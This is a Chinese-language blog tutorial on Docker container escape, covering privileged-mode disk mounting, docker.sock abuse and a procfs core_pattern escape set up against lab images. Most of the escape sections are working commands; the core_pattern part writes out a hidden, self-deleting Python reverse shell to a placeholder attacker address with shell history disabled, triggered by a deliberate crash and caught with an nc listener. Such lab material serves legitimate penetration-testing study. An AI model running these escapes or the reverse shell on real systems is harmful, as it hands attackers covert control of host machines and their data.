云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

Ethan医生3周前服务安全39

image.jpg



1Docker是干嘛的?

是一种开源的 容器化平台,用于快速开发、测试和部署应用程序。它的核心功能是通过“容器”(Container)技术,将应用程序及其依赖环境(如库、配置文件等)打包成一个轻量级、可移植的单元

截圖 2025-03-24 23.10.41.png


(1)容器逃逸(Container Escape)

  • 风险:攻击者利用漏洞(如 Dirty Cow、CVE-2019-5736)或配置错误,从容器突破到宿主机。

  • 渗透测试关注点

    • 测试容器运行时(如 runc、containerd)的漏洞。

    • 检查是否以 --privileged 特权模式运行容器。

(2)镜像供应链攻击

  • 风险:从不可信仓库(如 Docker Hub)下载的镜像可能植入后门。

  • 测试建议

    • 扫描镜像漏洞(工具:Trivy、Clair)。

    • 检查 Dockerfile 是否包含恶意指令(如偷偷下载木马)。

(3)网络配置不当

  • 风险:容器网络模式(如 --net=host)可能暴露宿主机服务。

  • 测试点

    • 检查容器是否误开敏感端口(如 Docker API 2375)。

    • 测试容器间网络隔离是否生效。

(4)数据持久化攻

  • 风险:挂载宿主机目录(如 -v /:/mnt)可能导致宿主机文件被篡改。

  • 渗透技巧

    • 在容器内查找挂载的宿主机目录,尝试写入 SSH 密钥或 cron 任务。


4、前渗透-判断在Docker

没有权限:端口扫描详细信息,根据应用对象表现

拿到权限:https://blog.csdn.net/qq_23936389/article/details/131486643

5、前渗透-镜像中的应用漏洞

6、前渗透-镜像中的默认配置

7、后渗透-三种安全容器逃逸

-特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)

-危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)

-docker自身&系统漏洞(软件漏洞和系统漏洞 都可用)

https://wiki.teamssix.com/CloudNative/

 

#容器逃逸-特权模式

启动靶场:docker run --rm --privileged=true -it alpine

检测环境:cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

判断特权:cat /proc/self/status | grep CapEff     -------root 身分,顯示 CapEff: 0000003fffffffff

查看目录:fdisk -l

特权逃逸:mkdir /test && mount /dev/vda1 /test

判断结果:cd /test/ && ls

 

#容器逃逸-危险挂载

1、挂载Docker Socket逃逸

启动靶场:docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

进入环境:docker exec -it with_docker_sock /bin/bash

检测环境:ls -lah /var/run/docker.sock

挂载逃逸:

apt-get update

apt-get install curl

curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash

chroot /host

 

2、挂载宿主机procfs逃逸

https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs

启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

检测环境:find / -name core_pattern

查找路径:(workdir) cat /proc/mounts | grep docker

写入文件:

cat >/tmp/.x.py << EOF

#!/usr/bin/python

import os

import pty

import socket

lhost = "xx.xx.xx.xx"

lport = xxxx

def main():

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((lhost, lport))

os.dup2(s.fileno(), 0)

os.dup2(s.fileno(), 1)

os.dup2(s.fileno(), 2)

os.putenv("HISTFILE", '/dev/null')

pty.spawn("/bin/bash")

os.remove('/tmp/.x.py')

s.close()

if __name__ == "__main__":

main()

EOF

 

chmod +x /tmp/.x.py

 

echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " > /host/sys/kernel/core_pattern

 

cat >/tmp/x.c << EOF

#include <stdio.h>

int main(void)

{

int *a = NULL;

*a = 1;

return 0;

}

EOF

 

gcc x.c -o x

执行文件:

./x

nc -lvvp xxxx

 

模拟真实场景:

1、高权限-Web入口到Docker逃逸(Java) -----基本上进入都是ROOT权限

docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

2、低权限-Web入口到Docker逃逸(PHP)    -----&asp.net基本上进入都是WWW权限,需要提权

docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa


标签: Docker安全

相关文章

云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

#云原生-Docker安全-容器逃逸&内核漏洞细节部分在权限提升章节会详解,常用:CVE-2016-5195 CVE-2019-16884 CVE-2021-3493CVE-2021-2255...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。